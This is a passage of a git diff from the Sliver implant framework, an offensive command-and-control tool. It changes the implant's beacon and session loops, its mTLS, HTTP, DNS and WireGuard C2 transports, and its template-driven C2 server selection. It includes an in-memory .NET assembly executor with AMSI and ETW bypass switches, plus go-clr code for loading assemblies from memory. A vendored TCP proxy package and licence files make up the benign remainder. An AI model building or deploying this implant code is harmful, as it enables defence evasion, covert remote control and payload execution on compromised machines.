}
func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
if amsiBypass {
err := patchAmsi()
if err != nil {
return "", err
}
}
if etwBypass {
err := patchEtw()
if err != nil {
return "", err
}
}
return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
}
func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
var (
stdoutBuf, stderrBuf bytes.Buffer
+475
View File
@@ -0,0 +1,475 @@
package tcpproxy
// Copyright 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Package tcpproxy lets users build TCP proxies, optionally making
// routing decisions based on HTTP/1 Host headers and the SNI hostname
// in TLS connections.
//
// Typical usage:
//
// var p tcpproxy.Proxy
// p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
// p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
// p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
// p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
// p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
// p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
// log.Fatal(p.Run())
//
// Calling Run (or Start) on a proxy also starts all the necessary
// listeners.
//
// For each accepted connection, the rules for that ipPort are
// matched, in order. If one matches (currently HTTP Host, SNI, or
// always), then the connection is handed to the target.
//
// The two predefined Target implementations are:
//
// 1) DialProxy, proxying to another address (use the To func to return a
// DialProxy value),
//
// 2) TargetListener, making the matched connection available via a
// net.Listener.Accept call.
//
// But Target is an interface, so you can also write your own.
//
// Note that tcpproxy does not do any TLS encryption or decryption. It
// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
// header is unencrypted, for better or worse.
//
// This package makes no API stability promises. If you depend on it,
// vendor it.
import (
"bufio"
"context"
"errors"
"fmt"
"io"
"log"
"net"
"time"
)
// Proxy is a proxy. Its zero value is a valid proxy that does
// nothing. Call methods to add routes before calling Start or Run.
//
// The order that routes are added in matters; each is matched in the order
// registered.
type Proxy struct {
configs map[string]*config // ip:port => config
lns []net.Listener
donec chan struct{} // closed before err
err error // any error from listening
// ListenFunc optionally specifies an alternate listen
// function. If nil, net.Dial is used.
// The provided net is always "tcp".
ListenFunc func(net, laddr string) (net.Listener, error)
}
// Matcher reports whether hostname matches the Matcher's criteria.
type Matcher func(ctx context.Context, hostname string) bool
// equals is a trivial Matcher that implements string equality.
func equals(want string) Matcher {
return func(_ context.Context, got string) bool {
return want == got
}
}
// config contains the proxying state for one listener.
type config struct {
routes []route
acmeTargets []Target // accumulates targets that should be probed for acme.
stopACME bool // if true, AddSNIRoute doesn't add targets to acmeTargets.
}
// A route matches a connection to a target.
type route interface {
// match examines the initial bytes of a connection, looking for a
// match. If a match is found, match returns a non-nil Target to
// which the stream should be proxied. match returns nil if the
// connection doesn't match.
//
// match must not consume bytes from the given bufio.Reader, it
// can only Peek.
//
// If an sni or host header was parsed successfully, that will be
// returned as the second parameter.
match(*bufio.Reader) (Target, string)
}
func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
if p.ListenFunc != nil {
return p.ListenFunc
}
return net.Listen
}
func (p *Proxy) configFor(ipPort string) *config {
if p.configs == nil {
p.configs = make(map[string]*config)
}
if p.configs[ipPort] == nil {
p.configs[ipPort] = &config{}
}
return p.configs[ipPort]
}
func (p *Proxy) addRoute(ipPort string, r route) {
cfg := p.configFor(ipPort)
cfg.routes = append(cfg.routes, r)
}
// AddRoute appends an always-matching route to the ipPort listener,
// directing any connection to dest.
//
// This is generally used as either the only rule (for simple TCP
// proxies), or as the final fallback rule for an ipPort.
//
// The ipPort is any valid net.Listen TCP address.
func (p *Proxy) AddRoute(ipPort string, dest Target) {
p.addRoute(ipPort, fixedTarget{dest})
}
type fixedTarget struct {
t Target
}
func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
// Run is calls Start, and then Wait.
//
// It blocks until there's an error. The return value is always
// non-nil.
func (p *Proxy) Run() error {
if err := p.Start(); err != nil {
return err
}
return p.Wait()
}
// Wait waits for the Proxy to finish running. Currently this can only
// happen if a Listener is closed, or Close is called on the proxy.
//
// It is only valid to call Wait after a successful call to Start.
func (p *Proxy) Wait() error {
<-p.donec
return p.err
}
// Close closes all the proxy's self-opened listeners.
func (p *Proxy) Close() error {
for _, c := range p.lns {
c.Close()
}
return nil
}
// Start creates a TCP listener for each unique ipPort from the
// previously created routes and starts the proxy. It returns any
// error from starting listeners.
//
// If it returns a non-nil error, any successfully opened listeners
// are closed.
func (p *Proxy) Start() error {
if p.donec != nil {
return errors.New("already started")
}
p.donec = make(chan struct{})
errc := make(chan error, len(p.configs))
p.lns = make([]net.Listener, 0, len(p.configs))
for ipPort, config := range p.configs {
ln, err := p.netListen()("tcp", ipPort)
if err != nil {
p.Close()
return err
}
p.lns = append(p.lns, ln)
go p.serveListener(errc, ln, config.routes)
}
go p.awaitFirstError(errc)
return nil
}
func (p *Proxy) awaitFirstError(errc <-chan error) {
p.err = <-errc
close(p.donec)
}
func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
for {
c, err := ln.Accept()
if err != nil {
ret <- err
return
}
go p.serveConn(c, routes)
}
}
// serveConn runs in its own goroutine and matches c against routes.
// It returns whether it matched purely for testing.
func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
br := bufio.NewReader(c)
for _, route := range routes {
if target, hostName := route.match(br); target != nil {
if n := br.Buffered(); n > 0 {
peeked, _ := br.Peek(br.Buffered())
c = &Conn{
HostName: hostName,
Peeked: peeked,
Conn: c,
}
}
target.HandleConn(c)
return true
}
}
// TODO: hook for this?
log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
c.Close()
return false
}
// Conn is an incoming connection that has had some bytes read from it
// to determine how to route the connection. The Read method stitches
// the peeked bytes and unread bytes back together.
type Conn struct {
// HostName is the hostname field that was sent to the request router.
// In the case of TLS, this is the SNI header, in the case of HTTPHost
// route, it will be the host header. In the case of a fixed
// route, i.e. those created with AddRoute(), this will always be
// empty. This can be useful in the case where further routing decisions
// need to be made in the Target impementation.
HostName string
// Peeked are the bytes that have been read from Conn for the
// purposes of route matching, but have not yet been consumed
// by Read calls. It set to nil by Read when fully consumed.
Peeked []byte
// Conn is the underlying connection.
// It can be type asserted against *net.TCPConn or other types
// as needed. It should not be read from directly unless
// Peeked is nil.
net.Conn
}
func (c *Conn) Read(p []byte) (n int, err error) {
if len(c.Peeked) > 0 {
n = copy(p, c.Peeked)
c.Peeked = c.Peeked[n:]
if len(c.Peeked) == 0 {
c.Peeked = nil
}
return n, nil
}
return c.Conn.Read(p)
}
// Target is what an incoming matched connection is sent to.
type Target interface {
// HandleConn is called when an incoming connection is
// matched. After the call to HandleConn, the tcpproxy
// package never touches the conn again. Implementations are
// responsible for closing the connection when needed.
//
// The concrete type of conn will be of type *Conn if any
// bytes have been consumed for the purposes of route
// matching.
HandleConn(net.Conn)
}
// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
func To(addr string) *DialProxy {
return &DialProxy{Addr: addr}
}
// DialProxy implements Target by dialing a new connection to Addr
// and then proxying data back and forth.
//
// The To func is a shorthand way of creating a DialProxy.
type DialProxy struct {
// Addr is the TCP address to proxy to.
Addr string
// KeepAlivePeriod sets the period between TCP keep alives.
// If zero, a default is used. To disable, use a negative number.
// The keep-alive is used for both the client connection and
KeepAlivePeriod time.Duration
// DialTimeout optionally specifies a dial timeout.
// If zero, a default is used.
// If negative, the timeout is disabled.
DialTimeout time.Duration
// DialContext optionally specifies an alternate dial function
// for TCP targets. If nil, the standard
// net.Dialer.DialContext method is used.
DialContext func(ctx context.Context, network, address string) (net.Conn, error)
// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
// If nil, the error is logged and src is closed.
// If non-nil, src is not closed automatically.
OnDialError func(src net.Conn, dstDialErr error)
// ProxyProtocolVersion optionally specifies the version of
// HAProxy's PROXY protocol to use. The PROXY protocol provides
// connection metadata to the DialProxy target, via a header
// inserted ahead of the client's traffic. The DialProxy target
// must explicitly support and expect the PROXY header; there is
// no graceful downgrade.
// If zero, no PROXY header is sent. Currently, version 1 is supported.
ProxyProtocolVersion int
}
// UnderlyingConn returns c.Conn if c of type *Conn,
// otherwise it returns c.
func UnderlyingConn(c net.Conn) net.Conn {
if wrap, ok := c.(*Conn); ok {
return wrap.Conn
}
return c
}
func goCloseConn(c net.Conn) { go c.Close() }
// HandleConn implements the Target interface.
func (dp *DialProxy) HandleConn(src net.Conn) {
ctx := context.Background()
var cancel context.CancelFunc
if dp.DialTimeout >= 0 {
ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
}
dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
if cancel != nil {
cancel()
}
if err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(dst)
if err = dp.sendProxyHeader(dst, src); err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(src)
if ka := dp.keepAlivePeriod(); ka > 0 {
if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
if c, ok := dst.(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
}
errc := make(chan error, 1)
go proxyCopy(errc, src, dst)
go proxyCopy(errc, dst, src)
<-errc
}
func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
switch dp.ProxyProtocolVersion {
case 0:
return nil
case 1:
var srcAddr, dstAddr *net.TCPAddr
if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
srcAddr = a
}
if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
dstAddr = a
}
if srcAddr == nil || dstAddr == nil {
_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
return err
}
family := "TCP4"
if srcAddr.IP.To4() == nil {
family = "TCP6"
}
_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
return err
default:
return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
}
}
// proxyCopy is the function that copies bytes around.
// It's a named function instead of a func literal so users get
// named goroutines in debug goroutine stack dumps.
func proxyCopy(errc chan<- error, dst, src net.Conn) {
// Before we unwrap src and/or dst, copy any buffered data.
if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
if _, err := dst.Write(wc.Peeked); err != nil {
errc <- err
return
}
wc.Peeked = nil
}
// Unwrap the src and dst from *Conn to *net.TCPConn so Go
// 1.11's splice optimization kicks in.
src = UnderlyingConn(src)
dst = UnderlyingConn(dst)
_, err := io.Copy(dst, src)
errc <- err
}
func (dp *DialProxy) keepAlivePeriod() time.Duration {
if dp.KeepAlivePeriod != 0 {
return dp.KeepAlivePeriod
}
return time.Minute
}
func (dp *DialProxy) dialTimeout() time.Duration {
if dp.DialTimeout > 0 {
return dp.DialTimeout
}
return 10 * time.Second
}
var defaultDialer = new(net.Dialer)
func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
if dp.DialContext != nil {
return dp.DialContext
}
return defaultDialer.DialContext
}
func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
if dp.OnDialError != nil {
return dp.OnDialError
}
return func(src net.Conn, dstDialErr error) {
log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
src.Close()
}
}
+9 -7
View File
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
}
// StartBeaconLoop - Starts the beacon loop generator
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.Debug}}
log.Printf("Starting beacon loop ...")
// {{end}}
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
nextBeacon := make(chan *Beacon)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
defer close(nextBeacon)
@@ -211,11 +211,13 @@ func mtlsBeacon(uri *url.URL) *Beacon {
return mtls.WriteEnvelope(conn, envelope)
},
Close: func() error {
err = conn.Close()
if err != nil {
return err
if conn != nil {
err = conn.Close()
if err != nil {
return err
}
conn = nil
}
conn = nil
return nil
},
Cleanup: func() error {
@@ -341,7 +343,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
ActiveC2: uri.String(),
Init: func() error {
opts := dnsclient.ParseDNSOptions(uri)
client, err = dnsclient.DNSStartSession(uri.Host, opts)
client, err = dnsclient.DNSStartSession(uri.Hostname(), opts)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] dns connection error %s", err)
+24 -6
View File
@@ -1,5 +1,23 @@
package transports
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
"sync"
@@ -14,7 +32,7 @@ type Connection struct {
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
tunnels map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
return c.tunnels[ID]
}
// AddTunnel - Add tunnel to mapping
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
c.tunnels[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
delete(c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
for id, tunnel := range c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
delete(c.tunnels, id)
}
}
+11 -2
View File
@@ -28,6 +28,7 @@ import (
// {{if .Config.Debug}}
"log"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/proxy"
@@ -36,12 +37,20 @@ import (
// GoHTTPDriver - Pure Go HTTP driver
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
var transport *http.Transport
tlsConfig := &tls.Config{
InsecureSkipVerify: true, // We don't care about the HTTP(S) layer certs
}
// {{if .Config.Debug}}
if cryptography.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
}
// {{end}}
if !secure {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
TLSClientConfig: tlsConfig,
}
} else {
transport = &http.Transport{
@@ -50,7 +59,7 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
Timeout: opts.NetTimeout,
}).Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
TLSClientConfig: tlsConfig,
}
}
client := &http.Client{
@@ -58,6 +58,7 @@ const (
var (
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
TimeDelta time.Duration = 0
)
// HTTPOptions - c2 specific configuration options
@@ -334,7 +335,8 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
uri := s.startSessionURL()
s.NonceQueryArgument(uri, nonce)
otpCode := cryptography.GetOTPCode()
timestamp := time.Now().UTC().Add(TimeDelta)
otpCode := cryptography.GetExactOTPCode(timestamp)
s.OTPQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
@@ -349,6 +351,15 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
return err
}
if resp.StatusCode != http.StatusOK {
serverDateHeader := resp.Header.Get("Date")
if serverDateHeader != "" {
// If the request failed and there is a Date header, find the time difference and save it for the next request
curTime := time.Now().UTC()
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
if err == nil {
TimeDelta = serverTime.UTC().Sub(curTime)
}
}
// {{if .Config.Debug}}
log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
// {{end}}
+5
View File
@@ -167,6 +167,11 @@ func getTLSConfig() *tls.Config {
return cryptography.RootOnlyVerifyCertificate(caCertPEM, rawCerts, verifiedChains)
},
}
// {{if .Config.Debug}}
if cryptography.TLSKeyLogger != nil {
tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
}
// {{end}}
return tlsConfig
}
+7 -7
View File
@@ -80,7 +80,7 @@ type Start func() error
type Stop func() error
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
// {{if .Config.Debug}}
log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
nextConnection := make(chan *Connection)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
var connection *Connection
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: false,
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+17 -9
View File
@@ -36,10 +36,18 @@ const (
)
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
// {{if .Config.Debug}}
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
// {{end}}
c2Servers := []func() string{}
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
generator := make(chan *url.URL)
go func() {
defer close(generator)
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
var next string
switch "{{.Config.ConnectionStrategy}}" {
case strategyRandom: // Random
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
case strategyRandomDomain: // Random Domain
// Select the next sequential C2 then use it's protocol to make a random
// selection from all C2s that share it's protocol.
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = randomCCDomain(c2Servers, next)
case strategySequential: // Sequential
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
}
c2Counter++
if ^uint(0) < c2Counter {
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(ccServers []string, next string) string {
func randomCCDomain(ccServers []func() string, next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []string{}
pool := []func() string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc)
uri, err := url.Parse(cc())
if err != nil {
continue
}
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]
return pool[insecureRand.Intn(len(pool))]()
}
var (
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -59,7 +59,11 @@ var (
wgKeyExchangePort = getWgKeyExchangePort()
wgTcpCommsPort = getWgTcpCommsPort()
wgSessPrivKey string
wgSessPubKey string
PingInterval = 2 * time.Minute
failedConn = 0
)
// GetTNet - Get the netstack Net object
@@ -151,12 +155,11 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return envelope, nil
}
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
func getSessKeys(address string, port uint16) error {
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
if err != nil {
return nil, nil, err
return err
}
dev.Up()
@@ -170,10 +173,10 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// {{if .Config.Debug}}
log.Printf("Unable to connect to wg key exchange listener: %v", err)
// {{end}}
return nil, nil, err
return err
}
privKey, pubKey, newIP := doKeyExchange(keyExchangeConnection)
wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)
// {{if .Config.Debug}}
log.Printf("Signaling wg device to go down")
@@ -186,12 +189,21 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// {{if .Config.Debug}}
log.Printf("Failed to close device.Device: %s", err)
// {{end}}
return nil, nil, err
return err
}
return nil
}
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
if wgSessPrivKey == "" || failedConn > 2 {
getSessKeys(address, port)
}
// Bring up second wireguard connection using retrieved keys and IP
_, dev, tNet, err = bringUpWGInterface(address, port, privKey, pubKey, newIP)
// Bring up actual wireguard connection using retrieved keys and IP
_, dev, tNet, err := bringUpWGInterface(address, port, wgSessPrivKey, wgSessPubKey, tunAddress)
if err != nil {
failedConn++
return nil, nil, err
}
@@ -200,14 +212,15 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
// {{if .Config.Debug}}
log.Printf("Unable to connect to sliver listener: %v", err)
// {{end}}
failedConn++
return nil, nil, err
}
// {{if .Config.Debug}}
log.Printf("Successfully connected to sliver listener")
// {{end}}
failedConn = 0
tunnelNet = tNet
tunAddress = newIP
return connection, dev, nil
}
+7
View File
@@ -0,0 +1,7 @@
.idea
__handlers__
*.exe
*.dll
*.cs
scratch/
static/
+13
View File
@@ -0,0 +1,13 @@
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2004 Sam Hocevar <[email protected]>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. You just DO WHAT THE FUCK YOU WANT TO.
+69
View File
@@ -0,0 +1,69 @@
# go-clr
[![GoDoc](https://godoc.org/github.com/ropnop/go-clr?status.svg)](https://godoc.org/github.com/ropnop/go-clr)
This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
load structs from memory.
For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
## Installation and Usage
`go-clr` is intended to be used as a package in other scripts. Install it with:
```bash
go get github.com/ropnop/go-clr
```
Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
`ExecuteByteArray`. Here's a quick example of using both:
```go
package main
import (
clr "github.com/ropnop/go-clr"
"log"
"fmt"
"io/ioutil"
"runtime"
)
func main() {
fmt.Println("[+] Loading DLL from Disk")
ret, err := clr.ExecuteDLLFromDisk(
"TestDLL.dll",
"TestDLL.HelloWorld",
"SayHello",
"foobar")
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] DLL Return Code: %d\n", ret)
fmt.Println("[+] Executing EXE from memory")
exebytes, err := ioutil.ReadFile("helloworld.exe")
if err != nil {
log.Fatal(err)
}
runtime.KeepAlive(exebytes)
ret2, err := clr.ExecuteByteArray(exebytes)
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
}
```
The other 2 examples show the same technique but without the magic functions.
### License
This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
some organizations forbid this license from being used in products (which is a good thing).
+212
View File
@@ -0,0 +1,212 @@
//go:build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
// This structure only contains a pointer to the AppDomain's virtual function table
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
type AppDomain struct {
vtbl *AppDomainVtbl
}
// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
// The Virtual Function Table contains pointers to the COM IUnkown interface
// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
type AppDomainVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
get_ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
InitializeLifetimeService uintptr
GetLifetimeService uintptr
get_Evidence uintptr
add_DomainUnload uintptr
remove_DomainUnload uintptr
add_AssemblyLoad uintptr
remove_AssemblyLoad uintptr
add_ProcessExit uintptr
remove_ProcessExit uintptr
add_TypeResolve uintptr
remove_TypeResolve uintptr
add_ResourceResolve uintptr
remove_ResourceResolve uintptr
add_AssemblyResolve uintptr
remove_AssemblyResolve uintptr
add_UnhandledException uintptr
remove_UnhandledException uintptr
DefineDynamicAssembly uintptr
DefineDynamicAssembly_2 uintptr
DefineDynamicAssembly_3 uintptr
DefineDynamicAssembly_4 uintptr
DefineDynamicAssembly_5 uintptr
DefineDynamicAssembly_6 uintptr
DefineDynamicAssembly_7 uintptr
DefineDynamicAssembly_8 uintptr
DefineDynamicAssembly_9 uintptr
CreateInstance uintptr
CreateInstanceFrom uintptr
CreateInstance_2 uintptr
CreateInstanceFrom_2 uintptr
CreateInstance_3 uintptr
CreateInstanceFrom_3 uintptr
Load uintptr
Load_2 uintptr
Load_3 uintptr
Load_4 uintptr
Load_5 uintptr
Load_6 uintptr
Load_7 uintptr
ExecuteAssembly uintptr
ExecuteAssembly_2 uintptr
ExecuteAssembly_3 uintptr
get_FriendlyName uintptr
get_BaseDirectory uintptr
get_RelativeSearchPath uintptr
get_ShadowCopyFiles uintptr
GetAssemblies uintptr
AppendPrivatePath uintptr
ClearPrivatePath uintptr
SetShadowCopyPath uintptr
ClearShadowCopyPath uintptr
SetCachePath uintptr
SetData uintptr
GetData uintptr
SetAppDomainPolicy uintptr
SetThreadPrincipal uintptr
SetPrincipalPolicy uintptr
DoCallBack uintptr
get_DynamicDirectory uintptr
}
